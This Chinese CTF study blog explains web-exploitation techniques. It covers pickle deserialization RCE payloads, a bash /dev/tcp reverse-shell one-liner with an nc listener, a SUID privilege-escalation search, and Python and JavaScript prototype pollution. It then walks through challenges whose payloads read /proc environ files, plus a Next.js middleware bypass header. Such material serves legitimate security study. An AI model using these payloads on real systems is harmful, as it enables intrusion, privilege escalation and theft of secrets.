也可以将Pickle的代码变得可读起来(并非好读):
1 | import pickletools |
db.
:
d
操作码:从栈中弹出键值对('secret'
和'Hack!!!'
),构建一个字典{'secret': 'Hack!!!'}
,并将其压入栈b
操作码:弹出栈顶的字典和前面的对象(假设是通过c__main__
导入的secret
对象),将字典中的属性绑定到对象上。即为secret
对象添加一个属性'secret'
,其值为'Hack!!!'
.
操作码:结束反序列化过程
利用
覆盖变量
比如:
1 | import pickletools |
输出星穹铁道即代表成功覆盖了变量
1 | opcode=b"""c__main__ |
RCE
相关的就是 c
,R
,o
,i
,b
这几个操作符
与函数执行相关的opcode有三个: R
、 i
、 o
,所以我们可以从三个方向进行构造:
R
:(R
操作符用于构建对象)
1 | b'''cos |
tR
:其中 t
表示元组(tuple),R
表示调用 os.system
函数,并将字符串 'whoami'
作为参数传递给它
1 | cos |
i
:
1 | b'''(S'whoami' |
i
像是o
和c
的结合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
o
:
1 | b'''(cos |
实例化对象
1 | import pickle |
例题
[BUUCTF在线评测](https://buuoj.cn/challenges#[watevrCTF-2019]Pickle Store) Pickle store
[BUUCTF在线评测](https://buuoj.cn/challenges#[CISCN2019 华北赛区 Day1 Web2]ikun) ikun
要买到lv6,然而当前页面上没有lv6,就循环爆破出有 lv6.png
的页面
1 | import requests |
发现之后抓包改折扣,购买完之后发现只允许admin访问,然后看到使用了JWT
爆破key,发现密码是 1Kun
username改成admin后构造再访问,然后给了代码审计,发现用了pickle.loads(),直接打pickle反序列化即可
1 | import pickle |
反弹shell
nc -lvp 9999
nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
1 | -l 监听模式,用于入站连接 |
bash -i >& /dev/tcp/192.168.239.128/9999 0>&1
bash -i代表在本地打开一个bash
&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程vps
/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接
远程vps开启对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出————————————————
- 当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。 当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符
- 在/dev/tcp/ip/port后面加上0>&1,代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程,这样的话就可以直接在远程输入了
那么,0>&2也是可以的,代表将标准输入重定向到标准错误输出,而标准错误输出重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程
SUID提权
1 | find /-user root -perm-4000 -print 2>/dev/null |
什么是SUID?
Linux下文件权限分为 r4 w2 x1分别对应可读,可写,可执行
- 当 SUID 位被设置在一个可执行文件上时,该文件在执行期间,进程的有效用户 ID(EUID)会被设置为该文件所有者的用户 ID。例如,一个属于 root 用户的文件,如果设置了 SUID 位,当普通用户执行这个文件时,这个执行进程的 EUID 就是 root
- 有效用户 ID 决定了进程在执行过程中对系统资源访问的权限。这就意味着,如果一个程序需要更高权限(通常是 root 权限)才能完成某些特定的操作,通过设置 SUID 位,普通用户在运行这个程序时也能临时获得该程序所有者的权限来执行这些操作
root权限一般是3位,就比如说是什么644(所属者-所属组-other)
而sudo的权限可以是4位比如7644
然后就是SUID文件只作用于二进制文件
条件竞争
2
内存马
1
XSleaks
简介+原理(利用条件)+例题
原型链污染
原理
Python原型链污染从基础到深入 - Rycarls little blog
Python原型链污染变体(prototype-pollution-in-python) - Article_kelp - 博客园
Python原型链污染
Python则是对类属性值的污染,且只能对类的属性来进行污染不能够污染类的方法
- 原型继承特性
Python中每个对象通过__class__
属性指向其所属类,类通过__base__
属性指向父类。当访问对象属性时,若当前对象/类中未定义,会沿原型链向上查找 - 污染条件
需要存在递归合并函数(如merge
)且未对特殊属性过滤
来看一段代码:(很典型的原型链污染标志)
1 | def merge(src, dst): |
然后对src中的键值对进行了遍历,然后检查dst中是否含有__getitem__
属性,以此来判断dst是否为字典。如果存在的话,检测dst中是否存在属性k且value是否是一个字典,如果是的话,就继续嵌套merge对内部的字典再进行遍历,将对应的每个键值对都取出来。如果不存在的话就将src中的value的值赋值给dst对应的key的值
如果dst不含有getitem属性的话,那就说明dst不是一个字典,就直接检测dst中是否存在k的属性,并检测该属性值是否为字典,如果是的话就再通过merge函数进行遍历,将k作为dst,v作为src,继续取出v里面的键值对进行遍历
__getitem__
是一个特殊的方法。它是对象的索引操作符重载方法,主要用于定义当使用方括号 []
对象访问元素时的行为。当你尝试访问像 object[key]
这样的元素时,Python 会调用 __getitem__
方法(索引如my_list[0]
)
污染分析(经典例子)
1 | class father: |
我们打断点看看
第一步的时候,由于dst中没有__getitem__
属性,所以跳到elif进行
此时k变成__class__
,v变成{'__base__':{'secret':'world'}}
然后从递归进入第二次循环,这次提取dst中的__base__
给k,那么v就等于{'secret':'world'}
由于dst中没有__getitem__
属性,所以跳到elif进行,递归进入第三次循环
此时k就应该等于secret,v等于secret
由于dst中没有__getitem__
属性,所以跳到elif进行,但是这次的v也不再是个字典,所以跳到else中进行setattr的操作,这是成功将k,v赋值给father类中的键值对,成功污染
(实际上就是一层层向上爬)
当然,也有不能污染的,比如Object
1 | def merge(src, dst): |
利用
获取全局变量
原理
__init__
作为类的一个内置方法,在没有被重写作为函数的时候,其数据类型会被当做装饰器,而装饰器的特点就是都具有一个全局属性__globals__
属性,__globals__
属性是函数对象的一个属性,用于访问该函数所在模块的全局命名空间
可以用这一段来看
1 | a=1 |
接下面的例子
1 | mihomo = 114514 |
成功获取并污染全局变量
sys模块加载
sys
模块的modules
属性以字典的形式包含了程序自开始运行时所有已加载过的模块,可以直接从该属性中获取到目标模块
这里给到两个模块
1 | #test_1.py |
然后另一个模块导入这一模块
1 | #test.py |
加载器loader获取
loader加载器在python中的作用是为实现模块加载而设计的类,其在importlib
这一内置模块中有具体实现。而importlib
模块下所有的py
文件中均引入了sys
模块,这样我们和上面的sys模块获取已加载模块就联系起来了,所以我们的目标就变成了只要获取了加载器loader,我们就可以通过loader.__init__.__globals__['sys']
来获取到sys模块,然后再获取到我们想要的模块
对于一个模块来说,模块中的一些内置属性会在被加载时自动填充
__loader__
内置属性会被赋值为加载该模块的loader
,这样只要能获取到任意的模块便能通过__loader__
属性获取到loader
,而且对于python3
来说除了在debug
模式下的主文件中__loader__
为None
以外,正常执行的情况每个模块的__loader__
属性均有一个对应的类
另外Python还存在一个__spec__
内置函数,包含了关于类加载时候的信息,可以直接用
<模块名>.__spec__.__init__.__globals__['sys']
获取到sys
模块
形参默认值替换
分为__defaults__
和__kwdefaults__
1 | def a(var_1, var_2 =2, var_3 = 3): |
(Python中带有默认值的参数必须位于不带默认值的参数之后)
元组:(有序的、不可变的序列类型)
1 | my_tuple = (1, 2, "hello", [3, 4, 5]) |
然后就是可以对函数进行默认值的替换
前提是要替换的值是元组的形式:
1 | payload = { |
另一个则是以字典形式替换:
1 | payload = { |
_got_first_request:
用于判定是否某次请求为自Flask
启动后第一次请求,是Flask.got_first_request
函数的返回值,此外还会影响装饰器app.before_first_request
的调用,而_got_first_request
值为假时才会调用:
所以如果我们想调用第一次访问前的请求,还想要在后续请求中进行使用的话,我们就需要将_got_first_request
从true改成false然后就能够在后续访问的过程中,仍然能够调用装饰器app.before_first_request
下面的可用信息:
1 | from flask import Flask,request |
before_first_request
修饰的init
函数只会在第一次访问前被调用,而其中读取flag
的逻辑又需要访问路由/
后才能触发,这就构成了矛盾。所以需要使用payload
在访问/
后重置_got_first_request
属性值为假,这样before_first_request
才会再次调用
Payload:
1 | { |
init
函数被触发,且其中读取flag
的相关逻辑被执行,这样就获得了flag
_static_url_path:
当python指定了static静态目录以后,我们再进行访问就会定向到static文件夹下面的对应文件而不会存在目录穿梭的漏洞,但是如果我们想要访问其他文件下面的敏感信息,我们就需要污染这个静态目录,让他自动帮我们实现定向
1 | #static/index.html |
app.py:
1 | #app.py |
payload:
1 | payload={ |
os.path.pardir:
os.path.pardir
是 Python 中 os.path
模块的一个常量,它代表当前目录的父目录(即上一级目录)。在文件系统中,os.path.pardir
通常对应于字符串 ..
环境:
1 | #templates/index.html |
app.py
1 | #app.py |
这里的话你进行一个目录穿梭比如:
../1.py
这样子的会报错,因为python里的split_template_path
如果发现..就会报错或者直接不允许穿越,而我们的os.path.pardir
恰好是我们的..所以会进行报错,所以我们如果把这个地方进行修改为除..外的任意值,我们就可以进行目录穿梭了
payload:
1 | payload={ |
JavaScript原型链污染
JavaScript原型链污染原理及相关CVE漏洞剖析 - FreeBuf网络安全行业门户
JavaScript 中的每个对象都链接到某种类型的另一个对象,称为原型。JavaScript 使用原型继承模型,这与许多其他语言使用的基于类的模型有很大不同。默认情况下,JavaScript 会自动将新对象分配给其内置原型之一。例如,字符串会自动分配内置的String.prototype
. 您可以在下面看到这些全局原型的更多示例:
1 | let myObject = {}; |
对象会自动继承其指定原型的所有属性,除非它们已经拥有具有相同键的自己的属性。这使得开发人员能够创建可以重用现有对象的属性和方法的新对象
内置原型提供了用于处理基本数据类型的有用属性和方法。例如,String.prototype
对象有一个toLowerCase()
方法。因此,所有字符串都会自动有一个现成的方法将它们转换为小写。这使得开发人员不必手动将此行为添加到他们创建的每个新字符串中
对象继承是如何工作的?
每当您引用对象的属性时,JavaScript 引擎都会首先尝试直接在对象本身上访问该属性。如果对象没有匹配的属性,JavaScript 引擎会在对象的原型上查找它
由于实际上 JavaScript 中的所有内容都是底层的对象,因此这条链最终会回到顶层Object.prototype
,其原型很简单null
利用__proto__
访问
你可以这样访问:
1 | username.__proto__ |
甚至可以链接引用以__proto__
沿着原型链向上工作:
1 | username.__proto__ // String.prototype |
E.g
1 | function Teacher(name,age,gender,subject){ |
这里的Person就是外部定义的一个类
创建一个构造函数Teacher
,其中调用Person.call
运行Person
构造函数对Teacher
中的this.name
赋值,new Person()
会创建一个新的对象,并且这个对象的内部原型是 Person.prototype
。将这个新对象赋值给 Teacher.prototype
后,Teacher
构造函数的原型对象就拥有了 Person
的原型属性和方法:
原型链污染
当JavaScript函数递归地将包含用户可控属性的对象合并到现有对象时,通常会出现原型污染漏洞。这可以允许攻击者注入带有类似__proto__
的键的属性,以及任意嵌套的属性
由于__proto__
在JavaScript上下文中的特殊含义,合并操作可能会将嵌套属性分配给对象的原型,而不是目标对象本身。因此,攻击者可以用包含恶意值的属性污染原型,这些属性随后可能被应用程序以危险的方式使用
__proto__
是 JavaScript 中一个对象属性,用于访问该对象的原型对象
__proto__
可以用于手动改变对象的原型,例如,当你想让一个已有的对象继承另一个对象的属性和方法时,可以使用它来改变原型
1. prototype
属性
- 定义:每个函数都有一个
prototype
属性,它是一个对象。当你通过构造函数创建一个新对象时,这个新对象会继承构造函数的prototype
对象 - 用途:
- 用于定义构造函数的原型对象,该原型对象包含所有实例共享的属性和方法
- 实现继承:通过将一个构造函数的
prototype
设置为另一个构造函数的实例,可以实现继承
1 | // 定义构造函数 |
2. __proto__
属性
- 定义:每个对象都有一个
__proto__
属性,它指向创建该对象的构造函数的prototype
对象。__proto__
是对象的内部原型引用 - 用途:
- 用于访问对象的原型对象
- 在原型链查找中,JavaScript 引擎会通过
__proto__
属性向上查找属性和方法
1 | function Person(name) { |
Json输入造成污染
用户可控的对象通常是使用该JSON.parse()
方法从 JSON 字符串派生的。有趣的是,JSON.parse()
还将 JSON 对象中的任何键视为任意字符串,包括__proto__
. 这为原型污染提供了另一个潜在载体。
假设攻击者通过网络消息注入以下恶意 JSON:
1 | { |
如果通过该方法将其转换为 JavaScript 对象JSON.parse()
,则生成的对象实际上将具有一个带有 key 的属性__proto__
:
1 | const objectLiteral = {__proto__: {evilProperty: 'payload'}}; |
hasOwnProperty
函数是JavaScript中的一个内置函数,用于检查对象自身是否包含指定的属性(即不包括从原型链继承的属性)
绕过过滤了__proto__
的污染
假如一开始payload:
1 | "__proto__":{ |
没有反应
可以用constructor.prototype === __proto__
绕过
1 | "constructor": { |
PS
其实Javascript也不是所有都要用到__proto__
的,这点在下面的例题中有所体现
例题
NCTF2024 ez_dash
1 | ''' |
先看到这个set,来看看是如何工作的
可以发现set按顺序赋值,然后你传入一个对象、属性名、值就可以更改掉其属性的值
E.g
1 | import pydash |
可以看到结果:
源码前面给了hint,所以下一步我们应该污染参数而读取environ
而源码中没有什么可以读取environ的途径,然后看到下面的bottle.template(path)
返回了一个值,跟进看看
1 | lookup = kwargs.pop('template_lookup', TEMPLATE_PATH) |
lookup的搜索路径是TEMPLATE_PATH
这个对象,然后看看TEMPLATE_PATH
1 | TEMPLATE_PATH = ['./', './views/'] |
默认的TEMPLATE_PATH
是['./', './views/']
其实到这里不继续深入的话就已经猜到可能是更改TEMPLATE_PATH
默认的这个路径,让lookup去查找然后再由bottle.template渲染即可
1 | ../../../../proc/self/ |
返回源码看set_value()
1 | def setval(name:str, path:str, value:str)-> Optional[bool]: |
payload应该是
1 | setval.__globals__.bottle.TEMPLATE_PATH=['../../../../proc/self/'] |
但是pydash是不允许修改globals
属性的,但是在helpers.py中
1 | RESTRICTED_KEYS = ("__globals__","__builtins__") |
所以我们先污染这个值之后再污染path即可
payload:
1 | setValue?name=pydash |
Mini L-CTF 2025 - 西电 CTF 终端 Clickclick
源码拉到最下面可以看到:
1 | Qt(o, i => { |
就能知道10000次以后会输出textContent的内容(实在不行也可以直接丢个AI的,试过是可以分析出来10000次后面输出这个的)
然后看到:
1 | function wn(t, e) { |
这里每点击50次会向/update-amount发一次包,更新后端数据,而且这里更新不是add而是set,又结合 if ( req.body.point.amount == 0 || req.body.point.amount == null) { delete req.body.point.amount },可以看到amount一开始就是0或者是已经被删除了,而且这个路径看起来很像原型链污染,那么想要改变他的值可以尝试污染amount的值,让他变成10000
那么怎么知道原链呢,看看事件监听器那边的click
1 | { |
[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]OtenkiGirl) OtenkiGirl
NewStar2023 web-week3-wp - Eddie_Murphy - 博客园
这里有一个值得注意的点:
1 | // Remove test data from before the movie was released |
这是什么意思呢,结合注释能看出来,
首先声明了一个变量minTimestamp
,将其初始化为CONFIG.min_public_time
或DEFAULT_CONFIG.min_public_time
的日期对象的时间戳。这里的CONFIG.min_public_time
和DEFAULT_CONFIG.min_public_time
表示了movie的最小公开时间。
接下来,代码使用Math.max
函数将timestamp
与minTimestamp
比较,并返回较大的值。timestamp
是另一个变量,表示某个数据的时间戳。通过执行这个比较操作,可以确保timestamp
的值不早于minTimestamp
,也就是不早于movie的最小公开时间
1 | { |
[LitCTF 2025]多重宇宙日记 | NSSCTF
源码:
1 | <script> |
提示键值在setting下,又需要管理员权限,所以payload:
1 | {"settings": {"isAdmin": true}} |
[BUUCTF在线评测](https://buuoj.cn/challenges#[DASCTF 2023 & 0X401七月暑期挑战赛]EzFlask) EzFlask
开头直接给源码:
1 | import uuid |
看到这一段:
1 | def merge(src, dst): |
很明显的python的原型链污染
payload:
1 | {"username":"123","password":"123","\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F":{"__globals__":{"__file__":"../../../proc/1/environ"}}} |
(其中__init__
用unicode编码了一下,其实你也可以将其他的也编码)
在注册页面污染后,GET访问首页就可以了
CVE说是
LitCTF 2025]nest_js | NSSCTF
CVE-2025-29927 Next.js 中间件权限绕过漏洞复现 - CVE-柠檬i - 博客园
1 | x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware |
D^3 CTF 2025 d3model
源码如下:
1 | import keras |
requirements告诉我们keras==3.8.0,查了一下发现存在CVE漏洞。
cve-2025-1550
,可以参考如下文章复现:
https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models
这里直接给出exp:
1 | import zipfile |
直接刷新index.html即可
尾声
看完全部内容之后,然后可能发现还是不会做题或者遇到一些根本没见过的,这就体现了Web特色了,直接上网搜然后现场做需求,对于很多题目来说就是这样的
然后可以多看看最新的CVE,有些题目会直接出这样一个漏洞然后你网上可能找到个POC就可以跟着做了
代码审计能力很重要,特别是对于各种调用关系,即调用链要分析清楚,这对于做给陌生库的题目来说是很重要的
记得也学学Golang、Java、JavaScript和Rust